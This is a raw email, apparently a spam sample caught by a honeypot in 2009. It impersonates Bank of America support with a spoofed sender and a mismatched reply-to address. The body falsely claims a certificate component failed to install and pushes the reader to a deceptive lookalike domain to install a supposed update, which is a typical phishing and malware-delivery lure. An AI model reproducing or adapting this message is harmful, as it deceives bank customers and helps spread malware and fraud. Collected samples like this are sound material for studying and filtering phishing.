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return-path:	<eialdabhfjq@bostonrentals.com>
envelope-to:	cjones1@HUN1P0T,brandyfvccastaneda@HUN1P0T
delivery-date:	Fri, 13 Mar 2009 06:21:33 -0700
from:	"Bank of America Support" <administrator15@bankofamerica.com>
reply-to:	eialdabhfjq@bostonrentals.com
to:	brandyfvccastaneda@HUN1P0T
subject:	Web based Auto Installation for Bank of America
mime-version:	1.0
content-type:	text/plain; charset=us-ascii
content-transfer-encoding:	7bit
message-id:	REIDs3x1236950493.H239067P17170.-S3X:2,-S3X

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Bank of America Warning:

Automatic Installation failed for Bank of America certificate component.
The only thing you can do at the moment is to install the 4.12.2009 version from our website.
That is the same application with the new publisher certificate.

Proceed for further information:

http://bankofamerica.updateserver.permissions.certificate-1ed2t4sgs.version.aheadfixpatch.com/index.html?/servlet/action=2npcevtgyv9ylca




Sincerely, Jesse Horner. Customer Service Department.
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